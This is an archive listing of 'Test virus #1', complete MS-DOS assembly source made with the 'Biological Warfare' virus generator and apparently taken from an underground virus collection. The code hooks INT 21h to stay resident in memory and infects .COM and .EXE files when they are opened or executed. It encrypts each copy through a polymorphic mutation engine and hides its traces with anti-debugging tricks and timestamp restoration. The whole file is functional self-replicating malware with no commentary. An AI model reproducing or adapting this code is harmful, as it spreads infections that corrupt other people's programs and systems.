home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / virgen / bw100 / SAMPLES.ZIP / TEST1.ASM < prev    next >
Encoding:
Assembly Source File  |  1994-06-05  |  12.3 KB  |  380 lines

  1. ; test1.asm : Test virus #1
  2. ; Created with Biological Warfare - Version 0.90ß by MnemoniX
  3.  
  4. PING            equ     0F43Fh
  5. PONG            equ     0B1DEh
  6. STAMP           equ     26
  7. MARKER          equ     07070h
  8.  
  9. code            segment
  10.                 org     0
  11.                 assume  cs:code,ds:code
  12.  
  13. start:
  14.                 db      0E9h,3,0          ; to virus
  15. host:
  16.                 db      0CDh,20h,0        ; host program
  17. virus_begin:
  18.                 push    ds es
  19.  
  20.                 call    $ + 3             ; BP is instruction ptr.
  21.                 pop     bp
  22.                 sub     bp,offset $ - 1
  23.  
  24.                 xor     ax,ax             ; mild anti-trace code
  25.                 mov     es,ax             ; kill interrupts 1 & 3
  26.                 mov     di,6
  27.                 stosw
  28.                 mov     di,14
  29.                 stosw
  30.  
  31.                 in      al,21h            ; lock out & reopen keyboard
  32.                 xor     al,2
  33.                 out     21h,al
  34.                 xor     al,2
  35.                 out     21h,al
  36.  
  37.                 mov     ax,PING           ; test for residency
  38.                 int     21h
  39.                 cmp     bx,PONG
  40.                 je      installed
  41.  
  42.                 mov     ax,es                   ; Get PSP
  43.                 dec     ax
  44.                 mov     ds,ax                   ; Get MCB
  45.  
  46.                 sub     word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
  47.                 sub     word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
  48.                 mov     es,word ptr ds:[12h]
  49.  
  50.                 push    cs                      ; copy virus into memory
  51.                 pop     ds
  52.                 xor     di,di
  53.                 mov     si,bp
  54.                 mov     cx,(virus_end - start) / 2 + 1
  55.                 rep     movsw
  56.  
  57.                 xor     ax,ax                   ; capture interrupts
  58.                 mov     ds,ax
  59.  
  60.                 mov     si,21h * 4              ; get original int 21
  61.                 mov     di,offset old_int_21
  62.                 movsw
  63.                 movsw
  64.  
  65.                 mov     word ptr ds:[si - 4],offset new_int_21
  66.                 mov     ds:[si - 2],es          ; and set new int 21
  67.  
  68. installed:
  69.                 pop     es ds                   ; restore segregs
  70.                 cmp     sp,MARKER               ; check for .EXE
  71.                 je      exe_exit
  72.  
  73. com_exit:
  74.                 mov     si,[bp + mutator]       ; restore host program
  75.                 sub     si,3
  76.                 mov     di,100h
  77.                 push    di
  78.                 movsw
  79.                 movsb
  80.  
  81.                 call    fix_regs                ; fix up registers
  82.                 ret                             ; and leave
  83. exe_exit:
  84.                 mov     ax,ds                   ; fix up return address
  85.                 add     ax,10h
  86.                 push    ax
  87.                 add     ax,cs:[bp + exe_cs]
  88.                 mov     cs:[bp + return_cs],ax
  89.  
  90.                 mov     ax,cs:[bp + exe_ip]
  91.                 mov     cs:[bp + return_ip],ax
  92.  
  93.                 pop     ax
  94.                 add     ax,cs:[bp + exe_ss]        ; restore stack
  95.                 cli
  96.                 mov     ss,ax
  97.                 mov     sp,cs:[bp + exe_sp]
  98.  
  99.                 call    fix_regs                ; fix up registers
  100.                 sti
  101.  
  102.                 db      0EAh                    ; back to host program
  103. return_ip       dw      0
  104. return_cs       dw      0
  105.  
  106. exe_cs          dw      -16                     ; orig CS:IP
  107. exe_ip          dw      103h
  108. exe_sp          dw      -2                      ; orig SS:SP
  109. exe_ss          dw      -16
  110.  
  111. fix_regs:
  112.                 xor     ax,ax
  113.                 cwd
  114.                 xor     bx,bx
  115.                 mov     si,100h
  116.                 xor     di,di
  117.                 xor     bp,bp
  118.                 ret
  119.  
  120. ; interrupt 21 handler
  121. int_21:
  122.                 pushf
  123.                 call    dword ptr cs:[old_int_21]
  124.                 ret
  125.  
  126. new_int_21:
  127.                 cmp     ax,PING                 ; residency test
  128.                 je      ping_pong
  129.                 cmp     ah,3Dh                  ; file open
  130.                 je      file_open
  131.                 cmp     ax,4B00h                ; execute program
  132.                 je      execute
  133. int_21_exit:
  134.                 db      0EAh                    ; never mind ...
  135. old_int_21      dd      0
  136.  
  137. ping_pong:
  138.                 mov     bx,PONG
  139.                 iret
  140.  
  141. file_open:
  142.                 push    ax cx di es
  143.                 call    get_extension
  144.                 cmp     [di],'OC'               ; .COM file?
  145.                 jne     perhaps_exe             ; perhaps .EXE then
  146.                 cmp     byte ptr [di + 2],'M'
  147.                 jne     not_prog
  148.                 jmp     a_program
  149. perhaps_exe:
  150.                 cmp     [di],'XE'               ; .EXE file?
  151.                 jne     not_prog
  152.                 cmp     byte ptr [di + 2],'E'
  153.                 jne     not_prog
  154. a_program:
  155.                 pop     es di cx ax
  156.                 jmp     execute                 ; infect file
  157. not_prog:
  158.                 pop     es di cx ax
  159.                 jmp     int_21_exit
  160.  
  161. execute:
  162.                 push    ax bx cx dx si di ds es
  163.  
  164.                 xor     ax,ax                   ; critical error handler
  165.                 mov     es,ax                   ; routine - catch int 24
  166.                 mov     es:[24h * 4],offset int_24
  167.                 mov     es:[24h * 4 + 2],cs
  168.  
  169.                 mov     ax,4300h                ; change attributes
  170.                 int     21h
  171.  
  172.                 push    cx dx ds
  173.                 xor     cx,cx
  174.                 call    set_attributes
  175.  
  176.                 mov     ax,3D02h                ; open file
  177.                 call    int_21
  178.                 jnc     open_it
  179.                 jmp     cant_open
  180. open_it:
  181.                 xchg    bx,ax
  182.  
  183.                 push    cs                      ; CS = DS
  184.                 pop     ds
  185.  
  186.                 mov     ax,5700h                ; save file date/time
  187.                 int     21h
  188.                 push    cx dx
  189.                 and     cl,31                   ; check time stamp
  190.                 cmp     cl,STAMP
  191.                 jnz     its_ok
  192.                 jmp     dont_infect
  193. its_ok:
  194.                 mov     ah,3Fh
  195.                 mov     cx,28
  196.                 mov     dx,offset read_buffer
  197.                 int     21h
  198.  
  199.                 cmp     word ptr read_buffer,'ZM' ; .EXE?
  200.                 jne     its_ok_2
  201.                 jmp     infect_exe
  202. its_ok_2:
  203.                 mov     al,2                    ; move to end of file
  204.                 call    move_file_ptr
  205.  
  206.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  207.                 ja      dont_infect             ; too big, don't infect
  208.  
  209.                 mov     word ptr new_jump + 1,dx
  210.  
  211.                 add     dx,103h
  212.                 mov     mutator,dx
  213.                 push    cs                      ; call Biological Warfare
  214.                 pop     es                      ; Mutation Engine
  215.                 mov     cx,VIRUS_SIZE
  216.                 mov     di,offset encrypt_buffer
  217.                 mov     si,offset virus_begin
  218.  
  219.                 call    _bwme
  220.  
  221.                 push    cx
  222.                 mov     cx,3
  223.                 mov     ah,40h
  224.                 mov     dx,offset read_buffer   ; save original program head
  225.                 int     21h
  226.  
  227.                 mov     ah,40h                  ; write virus to file
  228.                 pop     cx
  229.                 mov     dx,offset encrypt_buffer
  230.                 int     21h
  231.  
  232.                 xor     al,al                   ; back to beginning of file
  233.                 call    move_file_ptr
  234.  
  235.                 mov     dx,offset new_jump      ; and write new jump
  236.                 int     21h
  237.  
  238. fix_date_time:
  239.                 pop     dx cx
  240.                 and     cl,-32                  ; add time stamp
  241.                 or      cl,STAMP
  242.                 mov     ax,5701h                ; restore file date/time
  243.                 int     21h
  244.  
  245. close:
  246.                 pop     ds dx cx                ; restore attributes
  247.                 call    set_attributes
  248.  
  249.                 mov     ah,3Eh                  ; close file
  250.                 int     21h
  251.  
  252. cant_open:
  253.                 pop     es ds di si dx cx bx ax
  254.                 jmp     int_21_exit             ; leave
  255.  
  256.  
  257. set_attributes:
  258.                 mov     ax,4301h
  259.                 int     21h
  260.                 ret
  261.  
  262. dont_infect:
  263.                 pop     cx dx                   ; can't infect, skip
  264.                 jmp     close
  265.  
  266. move_file_ptr:
  267.                 mov     ah,42h                  ; move file pointer
  268.                 cwd
  269.                 xor     cx,cx
  270.                 int     21h
  271.  
  272.                 mov     dx,ax                   ; set up registers
  273.                 mov     ah,40h
  274.                 mov     cx,3
  275.                 ret
  276. infect_exe:
  277.                 cmp     word ptr read_buffer[26],0
  278.                 jne     dont_infect             ; overlay, don't infect
  279.  
  280.                 cmp     word ptr read_buffer[16],MARKER
  281.                 je      dont_infect             ; infected already
  282.  
  283.                 les     ax,dword ptr read_buffer[20]
  284.                 mov     exe_cs,es               ; CS
  285.                 mov     exe_ip,ax               ; IP
  286.  
  287.                 les     ax,dword ptr read_buffer[14]
  288.                 mov     exe_ss,ax               ; SS
  289.                 mov     exe_sp,es               ; SP
  290.                 mov     word ptr read_buffer[16],MARKER
  291.  
  292.                 mov     ax,4202h                ; to end of file
  293.                 cwd
  294.                 xor     cx,cx
  295.                 int     21h
  296.  
  297.                 push    ax dx                   ; save file size
  298.  
  299.                 push    bx
  300.                 mov     cl,12                   ; calculate offsets for CS
  301.                 shl     dx,cl                   ; and IP
  302.                 mov     bx,ax
  303.                 mov     cl,4
  304.                 shr     bx,cl
  305.                 add     dx,bx
  306.                 and     ax,15
  307.                 pop     bx
  308.  
  309.                 sub     dx,word ptr read_buffer[8]
  310.                 mov     word ptr read_buffer[22],dx
  311.                 mov     word ptr read_buffer[20],ax
  312.                 add     dx,100
  313.                 mov     word ptr read_buffer[14],dx
  314.  
  315.                 pop     dx ax                   ; calculate prog size
  316.  
  317.                 add     ax,VIRUS_SIZE + 3
  318.                 adc     dx,0
  319.                 mov     cx,512                  ; in pages
  320.                 div     cx                      ; then save results
  321.                 inc     ax
  322.                 mov     word ptr read_buffer[2],dx
  323.                 mov     word ptr read_buffer[4],ax
  324.                 mov     dx,word ptr read_buffer[20]
  325.                 mov     cx,VIRUS_SIZE           ; call BWME
  326.                 mov     di,offset encrypt_buffer
  327.                 mov     si,offset virus_begin
  328.                 push    cs
  329.                 pop     es
  330.  
  331.                 call    _bwme
  332.  
  333.  
  334.                 mov     ah,40h
  335.                 mov     dx,offset encrypt_buffer
  336.                 int     21h
  337.  
  338.  
  339.                 mov     ax,4200h                ; back to beginning
  340.                 cwd
  341.                 xor     cx,cx
  342.                 int     21h
  343.  
  344.                 mov     ah,40h                  ; and fix up header
  345.                 mov     cx,28
  346.                 mov     dx,offset read_buffer
  347.                 int     21h
  348.                 jmp     fix_date_time           ; done
  349.  
  350. courtesy_of     db      '[BW]',0
  351. signature       db      'Test virus #1',0
  352.  
  353. get_extension:
  354.                 push    ds                      ; find extension
  355.                 pop     es
  356.                 mov     di,dx
  357.                 mov     cx,64
  358.                 mov     al,'.'
  359.                 repnz   scasb
  360.                 ret
  361.                 include bwme.asm
  362.  
  363. int_24:
  364.                 mov     al,3                    ; int 24 handler
  365.                 iret
  366. mutator         dw      106h
  367. new_jump        db      0E9h,0,0
  368.  
  369. virus_end:
  370. VIRUS_SIZE      equ     virus_end - virus_begin
  371. read_buffer     db      28 dup (?)              ; read buffer
  372. encrypt_buffer  db      VIRUS_SIZE dup (?)      ; encryption buffer
  373.  
  374. end_heap:
  375.  
  376. MEM_SIZE        equ     end_heap - start
  377.  
  378. code            ends
  379.                 end     start
  380.